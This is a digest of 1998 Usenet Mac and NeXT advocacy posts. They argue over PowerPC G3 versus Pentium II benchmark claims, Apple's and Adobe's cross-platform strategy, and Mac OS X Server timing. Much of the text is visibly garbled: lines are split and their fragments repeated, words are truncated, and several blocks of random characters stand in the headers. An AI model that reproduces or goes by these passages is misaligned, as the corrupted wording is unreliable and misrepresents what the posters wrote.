Subject: Re: You'd Need A 469MHz PII To Beat An IBM G3/400 Based PowerMac
Date: Wed, 02 Sep 1998 21:52:43 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0209982152430001@1cust187.tnt1.santa-barbara.ca.da.uu.net>
References: <datamagik-0109981809260001@norlm350mac23.colorado.edu> <35ECFC84.A53DE157@worldnet.att.net> <joe.ragosta-0209980638480001@elk77.dol.net> <macghod-0209981430030001@1cust52.tnt1.santa-barbara.ca.da.uu.net> <joe.ragosta-0209982056130001@elk103.dol.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <joe.ragosta-0209982056130001@elk103.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > In article <joe.ragosta-0209980638480001@elk77.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > > Sure. But when you consider:
> > >
> > > 1. SPEC is still using the IRC compiler which is not used by any
> > > commercial apps. This compiler is optimized for benchmarks, but does not
> > > seem to be used in real life.
> >
> > Yeah, and Apple used moto 3 dr3 which is not used in any commercial apps.
>
> It was Byte that did the testing. Apple's ads specifically sited Byte as
> the source. Why don't you take it up with them?
Joe, various people here have stated they noticed the "footnote" on
apple's web page stating that the test was done by Apple in Apple's lab.
This was when the toasted bunny first came out. I know you have seen
these posts, so stop being dishonest.
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PPC 750 vs. Intel Pentium II
Date: Wed, 02 Sep 1998 21:45:13 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0209982145140001@1cust187.tnt1.santa-barbara.ca.da.uu.net>
References: <6shd74$fth@newsb.netnews.att.com> <6sk8ua$ch9$1@msunews.cl.msu.edu> <joe.ragosta-0209982049580001@elk103.dol.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <joe.ragosta-0209982049580001@elk103.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > Do you happen to know what specific systems the 750 benchmarks where
> > obtained on? I presume IBM. What OS?
>
> As Arun pointed out, it was an estimated figure on the 750. That means it
> wasn't run on a specific system.
Hmmm, how many times have people explained to Joe that "estimated figure"
in regards to spec means that the system was not a shipping system yet,
and thus by spec rules has to be called a estimated figure? Didnt Dave
explain this to Joe at least once or twice?
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: You'd Need A 469MHz PII To Beat An IBM G3/400 Based PowerMac
Date: Wed, 02 Sep 1998 22:01:14 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0209982201140001@1cust187.tnt1.santa-barbara.ca.da.uu.net>
References: <datamagik-0109981809260001@norlm350mac23.colorado.edu> <35ECFC84.A53DE157@worldnet.att.net> <joe.ragosta-0209980638480001@elk77.dol.net> <macghod-0209981339150001@1cust223.tnt1.santa-barbara.ca.da.uu.net> <6skhj8$b0$1@plo.sierra.com> <rbarris-ya023280000209981613050001@206.82.216.1> <6skqkr$472$1@plo.sierra.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6skqkr$472$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> The BYTEmarks downloadable from www.byte.com and the same that are used in
> all the Apple ads are appearantly using Motorola DR3. Apple would never get
> away using their own compiler, because then they'd have to use a better x86
> compiler than BYTE used, and that would invalidate their "up to twice as
> fast" claims.
And this is another scandal as far as I am concerned.
1) byte makes a big point out of the binary not changing since 1995. Yet
moto 3 wasnt out then, and the compilers out at that time scored MUCH LESS
than what moto 3 gets.
2) During the first toasted commercials, on Apple's web page in a footnote
it stated that the g3 part of the test was done BY APPLE ENGINEERS IN
APPLE'S OWN LAB. Even tho this was deleted, NUMEROUS people besides
myself noticed it.
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
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<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu>
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<6sistm$5j3$1@fir.prod.itd.earthlink.net> <h0fH1.3205$MS.7621650@news.rdc1.sdca.home.com>
<6sl4s4$bsl$1@ash.prod.itd.earthlink.net>
Message-ID: <9CpH1.3254$MS.7958045@news.rdc1.sdca.home.com>
Date: Thu, 03 Sep 1998 05:15:49 GMT
NNTP-Posting-Date: Wed, 02 Sep 1998 22:15:49 PDT
Organization: @Home Network
In <6sl4s4$bsl$1@ash.prod.itd.earthlink.net> "Ziya Oz" wrote:
> rr6013@yahoo.com wrote:
>
> >This is the exact mentality we had in the 80's...
>
> You mean when Apple was a 10+ Billion dollar company with 14% marketshare?
>
> Like when MacOS had absolute, distinct, easily recognizable superiorities
in
> many areas and easily charged a premium for it and people paid it?
>
Wishful thinking those factoids are today. Apple pissed away superiority in
their self-absorbed complacency towards their markets.
> >did you ever wonder what
> >caused the rush to standards, open systems and one standard Microsoft?
>
> People did NOT rush AWAY from AppleScript, ColorSync, QuickTime, etc.,
tly
> because, to this day, nothing comparable exists elsewhere.
>
No arguement there. But those are not 80's technolgies and had nothing to do
o with the corporate mandate to standardize the computer systems in the 80's.
> >Back to the Future?
>
> You want MacOS to gain marketshare? You can't do that by offering exactly
what
> Windows/Linux/etc offers. You have to have distinct advantages and people
will
> buy your product because they can't get it elsewhere.
>
>
Sorry, this is nice textbook marketing 101. Unfortunately, it's outdated.
The Internet happened. We live in a connected world where everybody can read
d our correspondence here. That "instantaneous" distribution of information
kills 101 level ideas about proprietary, distinct advantages.
I want MacOS X to gain marketshare, yes. At the very least, Apple needs to
compete with Win, Linux and others, ABSOLUTELY. This is not "Think
t" time for MacOS. This is about getting Apple's ass in gear and innovating
themselves back into the marketplace. Bringing packages of what everyone
lse has but never thought about marketing. So you get a distinct advantage
by selling a MacOS X publishing server. This is a far superior MacOS X than
a desktop MacOS X client.
Apple has all the tools to put this market differentiation together with
eir Rhapsody tools, Industry program and marketing support. It is exactly
he opportunity Apple needs to learn how to repackage the technolgies acquired
d from NeXT into "value add" packages. Openstep was too much Elephant for
veryone to swallow in one fell chomp. Building application specific
ns which add value to MacOS X is a great tool to leverage the OS, hardware
nd brand into publishing organizations.
-r
-r
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
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<vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net>
<_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com> <rmcassid-3108980020470001@dialin9062.slip.uci.edu>
<640H1.2918$MS.7205576@news.rdc1.sdca.home.com> <rmcassid-0209981548340001@hephaestus.eng.uci.edu>
Message-ID: <_KpH1.3257$MS.7958045@news.rdc1.sdca.home.com>
Date: Thu, 03 Sep 1998 05:25:14 GMT
NNTP-Posting-Date: Wed, 02 Sep 1998 22:25:14 PDT
Organization: @Home Network
In <rmcassid-0209981548340001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <640H1.2918$MS.7205576@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >In <rmcassid-3108980020470001@dialin9062.slip.uci.edu> Robert Cassidy
te:
> >> The hardware is fine
> >> for the task. The problem lies with poor app support and
ty.
> >>
> >>
> >
> >This is where I have difficulty in this thread. App support and
> >ility ring in my ears as OS level integration. Evangelists pumping Apple
> >uice" down the ears of Adobe programmers to get with the Mac program
ly
> >has a hollow ring. Is the suggestion to Apple to rewrite their interfaces
s to
> >o support Adobe/Quark? Sounds like tail wagging the dog again.
>
> Why should Apple rewrite for Adobe? The situation is _never_ that I have
> an Adobe app that I run on 6 different OSes and expect uniformity among
> them. Rather, I run MacOS and have 6 different apps and expect uniformity
> among them.
>
In your instance, this sounds all too reasonable. To the enterprise MIS
ager who must draft a training budget, he needs to know that once trained his
s people will not need "platform" training :-) In mixed environments, the
latform unification concept fall flat...
> The platform is the unifying element for the user.
>
This is where maybe academia and industry diverge...
[ clip OS.vs.App incompatibilties ]
What would happen if you weren't so platform/technology dependent (ie. AS,
T, etc...)?
-r
Date: Wed, 02 Sep 1998 20:49:58 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PPC 750 vs. Intel Pentium II
Message-ID: <joe.ragosta-0209982049580001@elk103.dol.net>
References: <6shd74$fth@newsb.netnews.att.com> <6sk8ua$ch9$1@msunews.cl.msu.edu>
In article <6sk8ua$ch9$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
> In <6shd74$fth@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror
> after @ wrote:
> > Here are some recent figures. They are presented with the
> > following cautions :
> >
> > 1. The Intel numbers are official, i.e., I believe they have
> > been submitted to the SPEC organization. The IBM numbers are
> > estimates.
> >
> > 2. The performance that the PPC 750 can achieve may not be
> > found in any of Apple's shipping systems. Moreover, the SPEC95
> > benchmark runs on UNIX and Windows NT, and not on MacOS.
>
> Do you happen to know what specific systems the 750 benchmarks where
> obtained on? I presume IBM. What OS?
As Arun pointed out, it was an estimated figure on the 750. That means it
wasn't run on a specific system.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PPC 750 vs. Intel Pentium II
Date: 3 Sep 1998 00:57:46 GMT
Organization: I don't think so
Message-ID: <slrn6urqjs.uu5.jason@jhste1.dyn.ml.org>
References: <6shd74$fth@newsb.netnews.att.com> <6sk8ua$ch9$1@msunews.cl.msu.edu> <joe.ragosta-0209982049580001@elk103.dol.net>
Joe Ragosta posted the following to comp.sys.mac.advocacy:
>> Do you happen to know what specific systems the 750 benchmarks where
>> obtained on? I presume IBM. What OS?
>As Arun pointed out, it was an estimated figure on the 750. That means it
>wasn't run on a specific system.
No, it probably means that IBM ran it on an engineering prototype.
Recall that the last round of "estimated" SPEC numbers from IBM were
run on machines with the outdated Moto MPC105 chipset, instead of on
machines with the current MPC106 chipset that the Gossamer Macs use.
And SPECfp95 is _very_ sensitive to main memory bandwidth (unless you
have a 4MB+ L2 cache, which obviously these machines don't have).
--
When I was a boy I was told that anybody could become President. Now
I'm beginning to believe it.
-- Clarence Darrow
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk>
Subject: Re: What we need from Mac OSuX
Message-ID: <qArH1.421$XE1.327550@newsfeed.slurp.net>
Date: Thu, 03 Sep 1998 07:30:30 GMT
NNTP-Posting-Date: Thu, 03 Sep 1998 00:30:30 PDT
Organization: Slurp News Feeds
Simon Barker wrote in message <35edc5e7.0@newsread1.dircon.co.uk>...
>>I don't know anyone that knows what the difference is between Win95 and
>>Win95 with service pack 1... nor can 95% of any Win95 user find or name a
>>single Win95 bug... can you?
>
>Err yeah you do if you read the documents that were with it, there are lots
of
>bugs in Windows *many* people are aware of, all you need do is look at
hotfixes
>and sp's and program updates etc of course they're mostly fixed now but
there
>still are bound to be many out there not fixed.
I was talking about Win95, not NT. MS is very good at letting the user know
about the bugs that exist in NT by providing hotfixes... regardless of the
fact that most users do not experience the bugs that these hotfixes take
care of.
>The claim Win95 was unusable
>until the first service pack is a bit silly but it's not entirely wrong
either.
I stand by what I said. If a user goes looking for documentation, containing
a list of known bugs, then obviously they will know of some that exist...
even if they don't experience them.
My point was that most users can't give you a example of a single bug in
Win95... but most users will agree that Win95 has plenty of them. It's
called "ignorance"... "hype"... etc.
Dan
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Still no word on OS X Server...
Date: Tue, 01 Sep 1998 21:12:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6shnvp$cmh$1@nnrp1.dejanews.com>
Well, Steve's speech has come and gone, and not one peep on Mac OS X Server,
as far as I could tell. Yes, it was good to hear Adobe et al announce their
support for OS X, but that's over a year away. In the meantime, OS X Server
is supposed to be here imminently, and still not a word. Not on timing. Not
on pricing. Not on anything.
This is extremely discouraging...
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Thu, 3 Sep 1998 01:45:38 -0400
Organization: phenix@interpath.com
Message-ID: <1deraeu.1v5e00i17gft7dN@roxboro0-046.dyn.interpath.net>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6rj2q7$cqc$1@nnrp1.dejanews.com> <B2026BDE-1FDB3@206.165.43.101> <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy <quinlan@intergate.bc.ca> wrote:
> In article <Eyo7nz.3wt@T-FCN.Net>,
> maury@remove_this.istar.ca (Maury Markowitz) wrote:
>
> > I mean that instead of the menu handler blocking internally until it
> > ly returns, it calls WNE instead. The foreground app would still block
> > (if it's not threaded), but that's OK for now.
> >
> > I think the confusion lies in what I think we need to accomplish. My
> > goals are not lofty.
>
> That is the problem. You think that it is ok for the foreground
> application to be blocked while a menu is down. I do not. Also, why would
> the menu handler call WNE? Isn't every Carbon application preemptively
> scheduled?
I'm not sure why nobody has suggested it before - but actually the whole
thing can be faked: the system simply doesn't return clicks in the menu
and instead handles it totally, when a menu is selected THEN it returns
a mousedown, have the call to Findwindow return inMenuBar and then have
MenuSelect return the appropriate menu. This could be done without
changing a single line of the applications code (although of course it'd
be easier to do by requiring a change, nor would that change be
unnecessarily onerous - simply add a new menuEvt, I figure it'd take me
maybe 5-10 minutes to make the appropriate changes to a application that
uses GNE/WNE [not sure how long it'd take someone using PP or MacApp).
--
John Moreno
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Wed, 02 Sep 1998 23:50:06 +0000
Organization: BM
Message-ID: <6sl38j$bf4$1@holly.prod.itd.earthlink.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
<rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu>
<rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net>
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<6s7oei$1el$1@oak.prod.itd.earthlink.net>
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<6samgn$6f7$1@holly.prod.itd.earthlink.net>
<rmcassid-3108980032370001@dialin9062.slip.uci.edu>
<6ser4k$21j$1@ash.prod.itd.earthlink.net>
<rmcassid-3108981302170001@hephaestus.eng.uci.edu>
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<rmcassid-0209981613170001@hephaestus.eng.uci.edu>
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rmcassid@uci.edu (Robert Cassidy) wrote:
>They don't have to. Frontier is already there. Either the users buy
>Frontier, or MS finds some way to provide scripting support to it's apps.
>Doesn't matter what it is, but I hardly think it is Apple's job to provide
>a scripting solution on the PC - that's what MS is for. Isn't that how the
>game is played?
No. I think you're confusing the issue here. If Adobe does NOT want to use AS
because it's MacOS-specific, it comes out of the code simply because Adobe does
not want to support, as much as possible, many different code bases and
implementations in the app. The result is that you don't get AS in any version
of the app. That is, Adobe doesn't say to its (potential) Windows customers,
"Hey, it's not our problem, ask MS to do it."
Until Apple ported ColorSync, Adobe did not support it fully in their apps. It
did NOT fully use ColorSync for MacOS versions and told its customers, "Go tell
MS to implement it." They simply shunned it altogether.
>In WAY too many cases Adobe substituted a solution that was better
>than Windows but worse than MacOS.
Well, you hit it on the head. Adobe like many other developers actively chose --
despite the fact that when they made that decision they had the majority of
their user base on MacOS -- to NOT tie its app to OS-specific features/services.
While there are many technical, political, financial, etc., reasons for this, it
is nevertheless a fact: that this is the tendency of xplatform developers. (Sure
there are exceptions, but generally this is the case.)
I really don't see the major MacOS developers like Adobe and Macromedia doing
significantly different versions of their apps for each platform. As you
correctly pointed it out, they essentially expect/want their own apps to have
consistency among each other and across the platforms, and care little about how
they integrate with other apps on the same OS.
So given all this, how do you expect Apple to convince, say, Macromedia to give
up this app-centric in favor of an OS-centric approach?
>Because the Windows solution will still suck rocks, but Apple can still
>claim parity. There _is_ a solution there, but it's not Apples fault that
>nobody can get it to work. Of course, things work a bit better on the
>MacOS...
Neither customers nor developers like to get into the "blame the other guy" game
if they can avoid it. Most simply aviod it.
>The apps should rely much more heavily on what the
>respective OS provides
.
So you've already been visited by the OpenStep bug :-)
>They still would be able to, in the way that they are selling the iMac.
>You can spend 30 minutes trying to figure out how to do this with Windows,
>or 30 seconds with the Mac.
Of course, iMac has all the "problems" of any other Mac: lack of software and
inability to run Windows natively :-)
Ziya Oz
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu>
<6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu>
<H52H1.2933$MS.7279167@news.rdc1.sdca.home.com> <rmcassid-0209981600170001@hephaestus.eng.uci.edu>
Message-ID: <E_oH1.3249$MS.7935707@news.rdc1.sdca.home.com>
Date: Thu, 03 Sep 1998 04:33:40 GMT
NNTP-Posting-Date: Wed, 02 Sep 1998 21:33:40 PDT
Organization: @Home Network
In <rmcassid-0209981600170001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <H52H1.2933$MS.7279167@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >In <rmcassid-3108981302170001@hephaestus.eng.uci.edu> Robert Cassidy
e:
> >> In article <6ser4k$21j$1@ash.prod.itd.earthlink.net>, "Ziya Oz"
>
> >> To my mind that isn't really messing with them - it's making practical
> >> changes. It's Apple having much less code to support. It's not an action
> >> to favor one platform over the other. After all, the code would be taken
> >> out of the Mac version as well.
> >>
> >It OS level dependency while not OS integration you've been wanting.
>
> No, it is OS integration that I want. If I want a particular kind of color
> picker - like a web centric one, I don't want to write a MacOS one and a
> Photoshop one. And probably a Quark one and so on. I want to write _one_
> of them.
>
> If I want to automate a particular problem, I don't want to write an
> applescript for part of it, then a photoshop script for some, then an
> applescript for the rest. I just want to write an applescript.
>
> This is a _very_ Openstep way of looking at this, Rex. The app in many
> cases can do nothing more than say 'call on the appropriate OS service for
> this'.
>
> >> Colorsync and QT are cross-platform already. MS customers simply have to
> >> get the product from Apple, nothing new there. Apple can publish a
lar
> >> API for the Windows version, but it'll be COM or VB or whatever they
ss
> >> off as a scripting language over there. But basically pulling these
> >> products back as apps, and less as OSen. There is no way to properly
> >> integrate these products without an external scripting environment. The
> >> fact that MS really doesn't have one is hardly Apple's fault.
> >>
> >Why make all this so painful when Apple can cross-platform the whole
> >ment ala Rhapsody cum MacOS X now. It can run anywhere, well, anywhere
pple
> >e chooses :-) Forget the individual cross platform technologies. Cross
the
> > whole enviroment and run it in a native window, wherever.
>
> Because Apple can't guarantee that Access will be ported to OS X, or
> anything else for that matter. Are you suggesting that Apple would rewrite
> all of the Adobe apps as YB apps and do it that way?
I'm suggesting that Adobe can leverage the new MacOS X environment by using
OS level functionality, yes. I don't know to what extent Apple will cross YB
B services to the Carbon API's. In so doing, a dependency is created on the
e OS by Adobe. Framemaker did a similar thing with menus on NeXTstep. It
as some attractive benefits by doing things this way for Adobe but it sounds
like they have come between Adobe and their users.
I suggest a user revolt, letter writing campaign to encourage Adobe to
mline their suite of apps for OS uniformity and integration. Apple really
an do very little. They could work with Thrid Party Vendors in Publishing to
o "integrate" apps + services. They might rework some of their architecture
but its my understanding that Adobe is short sales. They have too many
ducts, targeted to consumers (ie. affordable) and not enough sales. Quark
as maintained pricing at a commercial schedule and put more focus behind
er product.
> Essentially that is
> what I'm saying, but without actually rewriting the app. As a YB app it
> would just defer many of these services to the OS anyway, so what's the
> issue?
>
The fact that none of their apps are YB and their new Pagemaker replacement
is written to the old Mac.
> >> I think that by supporting OSA Apple can offer Frontier on the Windows
> >> side as the solution. Personally I'm not a huge fan of Frontier - I find
> >> it to be cumbersome, but the solution is there, and it's cross-platform.
. I
> >> think the distinct advantage stays with Apple since AS is relatively
> >> ubiquitous.
>
> >And before you create all those cross-platform technologies, why not cross
s
> >he environment and get the technologies for free?
>
> Who's creating cross-platform technologies? All I'm saying is that Apple
> should use the apps to further distinguish the difference between the
> respective OSes. As soon as you yank out the Adobe color pickers, the
> MacOS looks about 20x better to Photoshop users than Windows does. Place
> the burden on MS for providing decent services to it's users.
>
Well now, wouldn't that be interesting. I wonder why Adobe wants "control"
of their users environment? Why is it in Adobe's best interest to "not" have
e their products appear to be superior on the Mac .vs. NT?
> Why rewrite all of these apps if the same effect can be achieved by
> ripping out code?
>
>
It probably can in MacOS X, I'm not technically up on MacOS X to provide
initive answers.
-r
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
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<6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu>
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<6sl38j$bf4$1@holly.prod.itd.earthlink.net>
Message-ID: <W9pH1.3250$MS.7935707@news.rdc1.sdca.home.com>
Date: Thu, 03 Sep 1998 04:45:42 GMT
NNTP-Posting-Date: Wed, 02 Sep 1998 21:45:42 PDT
Organization: @Home Network
In <6sl38j$bf4$1@holly.prod.itd.earthlink.net> "Ziya Oz" wrote:
> So given all this, how do you expect Apple to convince, say, Macromedia to
give
> up this app-centric in favor of an OS-centric approach?
>
>
"OPEN SOURCE" solves some objections regarding dependency on Apple. "Cross
Platform" YB on NT solves, at least, half the problem. The wrong half since
e Adobe has no YB apps :-( Cross platfrom MacOS X into NT comes closer
..
-r
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Thu, 03 Sep 1998 04:38:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6sl6h2$8qa$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
In article <Eyo7nz.3wt@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> I mean that instead of the menu handler blocking internally until it
> ly returns, it calls WNE instead. The foreground app would still block (if
> it's not threaded), but that's OK for now.
>
> I think the confusion lies in what I think we need to accomplish. My goals
> s are not lofty.
That is the problem. You think that it is ok for the foreground application to
be blocked while a menu is down. I do not. Also, why would the menu handler
call WNE? Isn't every Carbon application preemptively scheduled?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
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<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu>
<6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu>
<6sistm$5j3$1@fir.prod.itd.earthlink.net> <h0fH1.3205$MS.7621650@news.rdc1.sdca.home.com>
<rmcassid-0209981617230001@hephaestus.eng.uci.edu>
Message-ID: <bipH1.3251$MS.7935707@news.rdc1.sdca.home.com>
Date: Thu, 03 Sep 1998 04:54:31 GMT
NNTP-Posting-Date: Wed, 02 Sep 1998 21:54:31 PDT
Organization: @Home Network
In <rmcassid-0209981617230001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <h0fH1.3205$MS.7621650@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
> >Back to the Future?
>
> No, my thinking is more like this:
>
> "You can do it here or there, but it's faster and easier here."
>
> Nobody likes to be trapped. Apple admits that they have a choice, they can
> go to the Wintel solution. It's just that they'd be an idiot to do so.
>
> Apple would support standards by eliminating application specific tasks
> whenever possible. If MS comes up with the worlds greatest solutions, then
> Apple will have a problem. How many people here actually believe that
> would happen? I think the deck is stacked _tremendously_ in Apple's favor
> right now. Apple can play fair, support standards, and still win in the
> end.
>
>
Really weak business case, IMHO. Faster - better is chest thumping when
le is crawling back into the market. The Wintel solution has been chosen by
a large majority of "idiots", so I doubt that you're going to win them over
now you've called them names :-) It's really elitist to think these people
idiots to jump away from your hardware platform preference.
As for MS coming up with compelling solutions to challenge Apple?
y, they have FAR, FAR better intelligence in the markets than Apple. They
re FAR, FAR better at implementing solutions in vertical industries. And MS
is FAR, FAR better at giving people the freedom to choose.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
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<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
